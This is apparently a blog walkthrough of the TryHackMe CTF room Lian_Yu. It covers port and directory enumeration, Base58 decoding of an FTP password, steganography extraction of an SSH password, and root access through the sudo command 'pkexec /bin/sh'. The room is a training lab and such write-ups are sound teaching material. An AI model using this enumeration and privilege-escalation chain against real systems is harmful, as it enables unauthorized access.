Post

TryHackMe: Lian_Yu

TryHackMe: Lian_Yu

Lian_Yu introduced me to using things i already knew but had never used like hexedit and steghide. It was indeed a great room, very simple for the privilege escalation part but to get there was a job.

Room https://tryhackme.com/room/lianyu

Initial Enumeration

Nmap Scan

We start with our nmap scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(kali㉿kali)-[~/Desktop]
└─$ nmap -T4 -n -sC -sV -Pn -p- 10.10.155.219
Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-02-04 16:04 GMT
Nmap scan report for 10.10.155.219
Host is up (0.073s latency).
Not shown: 65530 closed tcp ports (reset)
PORT      STATE SERVICE VERSION
21/tcp    open  ftp     vsftpd 3.0.2
22/tcp    open  ssh     OpenSSH 6.7p1 Debian 5+deb8u8 (protocol 2.0)
| ssh-hostkey: 
|   1024 56:50:bd:11:ef:d4:ac:56:32:c3:ee:73:3e:de:87:f4 (DSA)
|   2048 39:6f:3a:9c:b6:2d:ad:0c:d8:6d:be:77:13:07:25:d6 (RSA)
|   256 a6:69:96:d7:6d:61:27:96:7e:bb:9f:83:60:1b:52:12 (ECDSA)
|_  256 3f:43:76:75:a8:5a:a6:cd:33:b0:66:42:04:91:fe:a0 (ED25519)
80/tcp    open  http    Apache httpd
|_http-title: Purgatory
|_http-server-header: Apache
111/tcp   open  rpcbind 2-4 (RPC #100000)
| rpcinfo: 
|   program version    port/proto  service
|   100000  2,3,4        111/tcp   rpcbind
|   100000  2,3,4        111/udp   rpcbind
|   100000  3,4          111/tcp6  rpcbind
|   100000  3,4          111/udp6  rpcbind
|   100024  1          32841/tcp6  status
|   100024  1          37062/udp6  status
|   100024  1          44397/udp   status
|_  100024  1          52450/tcp   status
52450/tcp open  status  1 (RPC #100024)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 89.21 seconds

Web 80

Ftp doesn’t allow anonymous login so our only option really is port 80:

Web 80

Gobuster Scan

Nothing that we can see at first nor in the source code so we do a gobuster scan:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(kali㉿kali)-[~/Desktop]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x ".html,.txt,.php" -t 25 --timeout 20s -u http://10.10.155.219:80
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.155.219:80
[+] Method:                  GET
[+] Threads:                 25
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,txt,php
[+] Timeout:                 20s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 199]
/index.html           (Status: 200) [Size: 2506]
/island               (Status: 301) [Size: 236] [--> http://10.10.155.219/island/]
...

We find an island directory with the following inside:

Web 80 Island

At first glance we don’t see anything but looking at the source code this time we find some name:

Web 80 Island Source

Besides that, we don’t have much information so we do another gobuster scan but now on the island directory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(kali㉿kali)-[~/Desktop]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x ".html,.txt,.php" -t 25 --timeout 20s -u http://10.10.155.219:80/island
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.155.219:80/island
[+] Method:                  GET
[+] Threads:                 25
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              html,txt,php
[+] Timeout:                 20s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 199]
/index.html           (Status: 200) [Size: 345]
/2100                 (Status: 301) [Size: 241] [--> http://10.10.155.219/island/2100/]
...

We found another directory, 2100, and going to it we see a youtube embedded video:

Web 80 2100

And going to the source code we find a message:

Web 80 2100 Source

Its mentioning a .ticket so a good starting point is filtering gobuster to find .ticket files inside the 2100 directory:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
┌──(kali㉿kali)-[~/Desktop]
└─$ gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x ".ticket" -t 25 --timeout 20s -u http://10.10.155.219:80/island/2100
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.155.219:80/island/2100
[+] Method:                  GET
[+] Threads:                 25
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              ticket
[+] Timeout:                 20s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/green_arrow.ticket   (Status: 200) [Size: 71]
...

We find one file that when navigated to give us the following:

Web 80 green_arrow.png

Looking at the question hint and/or asking any A.I we see that the text is encoded in Base, more specifically Base58. We can throw the text in CyberChef and get the FTP password:

CyberChef Vigilante

With all the information so far we can now try to login into ftp with vigilante and the password:

1
2
3
4
5
6
7
8
9
10
11
┌──(kali㉿kali)-[~/Desktop]
└─$ ftp 10.10.155.219
Connected to 10.10.155.219.
220 (vsFTPd 3.0.2)
Name (10.10.155.219:kali): vigilante
331 Please specify the password.
Password: 
230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> 

We are in! And after some enumeration the only interesting things we found inside was another user, that we don’t have permission to cd into, and some images:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
ftp> ls
229 Entering Extended Passive Mode (|||35032|).
150 Here comes the directory listing.
drwx------    2 1000     1000         4096 May 01  2020 slade
drwxr-xr-x    2 1001     1001         4096 May 05  2020 vigilante
226 Directory send OK.
ftp> cd /home/vigilante
250 Directory successfully changed.
ftp> ls -la
229 Entering Extended Passive Mode (|||61927|).
150 Here comes the directory listing.
drwxr-xr-x    2 1001     1001         4096 May 05  2020 .
drwxr-xr-x    4 0        0            4096 May 01  2020 ..
-rw-------    1 1001     1001           44 May 01  2020 .bash_history
-rw-r--r--    1 1001     1001          220 May 01  2020 .bash_logout
-rw-r--r--    1 1001     1001         3515 May 01  2020 .bashrc
-rw-r--r--    1 0        0            2483 May 01  2020 .other_user
-rw-r--r--    1 1001     1001          675 May 01  2020 .profile
-rw-r--r--    1 0        0          511720 May 01  2020 Leave_me_alone.png
-rw-r--r--    1 0        0          549924 May 05  2020 Queen's_Gambit.png
-rw-r--r--    1 0        0          191026 May 01  2020 aa.jpg
226 Directory send OK.

To better analyze the images we can use the command get and download them all:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ftp> get Queen's_Gambit.png 
local: Leave_me_alone.png remote: Leave_me_alone.png
229 Entering Extended Passive Mode (|||51121|).
150 Opening BINARY mode data connection for Leave_me_alone.png (511720 bytes).
100% |*********************************************************************************************|   499 KiB  361.35 KiB/s    00:00 ETA
226 Transfer complete.
511720 bytes received in 00:01 (346.33 KiB/s)

ftp> get Queen's_Gambit.png
local: Queen's_Gambit.png remote: Queen's_Gambit.png
229 Entering Extended Passive Mode (|||12960|).
150 Opening BINARY mode data connection for Queen's_Gambit.png (549924 bytes).
100% |*********************************************************************************************|   537 KiB  376.47 KiB/s    00:00 ETA
226 Transfer complete.
549924 bytes received in 00:01 (362.12 KiB/s)

ftp> get aa.jpg
local: aa.jpg remote: aa.jpg
229 Entering Extended Passive Mode (|||10024|).
150 Opening BINARY mode data connection for aa.jpg (191026 bytes).
100% |*********************************************************************************************|   186 KiB  251.43 KiB/s    00:00 ETA
226 Transfer complete.
191026 bytes received in 00:00 (233.17 KiB/s)

Magic Numbers

Now that we have better control of the files we can check if they are really images with the file command:

1
2
3
4
5
┌──(kali㉿kali)-[~/Desktop]
└─$ file aa.jpg && file Queen\'s_Gambit.png && file Leave_me_alone.png 
aa.jpg: JPEG image data, JFIF standard 1.01, aspect ratio, density 1x1, segment length 16, baseline, precision 8, 1200x1600, components 3
Queen's_Gambit.png: PNG image data, 1280 x 720, 8-bit/color RGBA, non-interlaced
Leave_me_alone.png: data

Leave_me_alone.png doesn’t return anything specific so we could try checking its header and try to see what’s wrong:

1
2
3
4
5
6
7
8
9
10
11
12
┌──(kali㉿kali)-[~/Desktop]
└─$ xxd Leave_me_alone.png | head         
00000000: 5845 6fae 0a0d 1a0a 0000 000d 4948 4452  XEo.........IHDR
00000010: 0000 034d 0000 01db 0806 0000 0017 a371  ...M...........q
00000020: 5b00 0020 0049 4441 5478 9cac bde9 7a24  [.. .IDATx....z$
00000030: 4b6e 2508 33f7 e092 6466 dea5 557b 6934  Kn%.3...df..U{i4
00000040: 6a69 54fd f573 cebc c03c 9c7e b4d4 a556  jiT..s...<.~...V
00000050: 4955 75d7 5c98 5c22 c2dd 6c3e 00e7 c0e0  IUu.\.\"..l>....
00000060: 4e66 a94a 3d71 3f5e 32c9 085f cccd 60c0  Nf.J=q?^2.._..`.
00000070: c1c1 41f9 7ffe dfff bb2f eb22 fab5 aeab  ..A....../."....
00000080: 7d9d cfe7 f81e 5fcb 49ce ed94 7eb7 d8d7  }....._.I...~...
00000090: 723c c9e9 7492 d3d3 494e c793 9c8f 8b2c  r<..t...IN.....,

Seems that its magic numbers are incorrect, its not returning any file type but has some png indicators 0a 0d 1a 0a. The correct use would be:

1
2
3
4
5
PNG FORMAT:
	89 50 4E 47 0D 0A 1A 0A

Leave_me_alone.png FORMAT:
	58 45 6f ae 0a 0d 1a 0a

We can use a tool like hexedit and change the header to see if we can turn it back into a working png file. And after changing it we get the following image:

Leave_me_alone.png

Shell as slade

After some digging around i couldn’t seem to find use of the new found password so i decided to check inside the images if they had anything, and since the Leave_me_alone and Queen's_Gambit files are png we can skip ahead and go directly to aa.jpg:

1
2
3
4
┌──(kali㉿kali)-[~/Desktop]
└─$ steghide extract -sf aa.jpg
Enter passphrase: 
steghide: could not extract any data with that passphrase!

We skip the two png files because steghide doesn’t support its format but supports jpeg.

We see that the aa.jpg file is hiding something. And after putting the password password we get a zip with two files inside:

SS_Zip

The passwd.txt file didn’t have anything useful but the shado file had a password inside:

1
M3tahuman

Since we were already inside vigilante the only option left was slade, but this time through ssh:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~/Desktop]
└─$ ssh slade@10.10.155.219                                        
slade@10.10.155.219's password: 
                              Way To SSH...
                          Loading.........Done.. 
                   Connecting To Lian_Yu  Happy Hacking

██╗    ██╗███████╗██╗      ██████╗ ██████╗ ███╗   ███╗███████╗██████╗ 
██║    ██║██╔════╝██║     ██╔════╝██╔═══██╗████╗ ████║██╔════╝╚════██╗
██║ █╗ ██║█████╗  ██║     ██║     ██║   ██║██╔████╔██║█████╗   █████╔╝
██║███╗██║██╔══╝  ██║     ██║     ██║   ██║██║╚██╔╝██║██╔══╝  ██╔═══╝ 
╚███╔███╔╝███████╗███████╗╚██████╗╚██████╔╝██║ ╚═╝ ██║███████╗███████╗
 ╚══╝╚══╝ ╚══════╝╚══════╝ ╚═════╝ ╚═════╝ ╚═╝     ╚═╝╚══════╝╚══════╝

        ██╗     ██╗ █████╗ ███╗   ██╗     ██╗   ██╗██╗   ██╗
        ██║     ██║██╔══██╗████╗  ██║     ╚██╗ ██╔╝██║   ██║
        ██║     ██║███████║██╔██╗ ██║      ╚████╔╝ ██║   ██║
        ██║     ██║██╔══██║██║╚██╗██║       ╚██╔╝  ██║   ██║
        ███████╗██║██║  ██║██║ ╚████║███████╗██║   ╚██████╔╝
        ╚══════╝╚═╝╚═╝  ╚═╝╚═╝  ╚═══╝╚══════╝╚═╝    ╚═════╝  #

slade@LianYu:~$

Now inside we can finally read the user flag:

1
2
3
4
5
slade@LianYu:~$ ls
user.txt
slade@LianYu:~$ cat user.txt
THM{REDACTED}
                        --Felicity Smoak

Shell as root

Right at the beginning of enumeration, doing a simple sudo -l we see that we have root permissions to the binary pkexec:

1
2
3
4
5
6
7
slade@LianYu:~$ sudo -l
[sudo] password for slade: 
Matching Defaults entries for slade on LianYu:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User slade may run the following commands on LianYu:
    (root) PASSWD: /usr/bin/pkexec

Looking at GTFOBins we see that running the pkexec with the /bin/sh command we get root access to the machine and can then read the root flag:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
slade@LianYu:~$ sudo /usr/bin/pkexec /bin/sh
# whoami
root
# ls
root.txt
# cat root.txt
                          Mission accomplished

You are injected me with Mirakuru:) ---> Now slade Will become DEATHSTROKE. 

THM{REDACTED}
                                                                              --DEATHSTROKE

Let me know your comments about this machine :)
I will be available @twitter @User6825
This post is licensed under CC BY 4.0 by the author.